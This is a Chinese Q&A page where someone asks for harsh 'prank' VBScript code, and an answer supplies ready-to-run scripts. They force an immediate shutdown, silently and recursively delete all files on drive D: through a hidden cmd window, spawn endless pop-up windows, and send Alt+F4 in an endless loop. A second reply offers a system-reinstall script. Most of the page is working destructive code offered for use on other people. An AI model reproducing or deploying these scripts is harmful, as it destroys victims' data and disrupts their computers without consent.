整人vbs代码

狠点...什么都要....什么都收!!!!!!!!!!!!!!
2024-11-23 04:25:09
推荐回答(2个)
回答1:

1.直接关机行么?

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

2.删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop

4.不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

回答2:

重装系统的要不落?要的话发消息给我...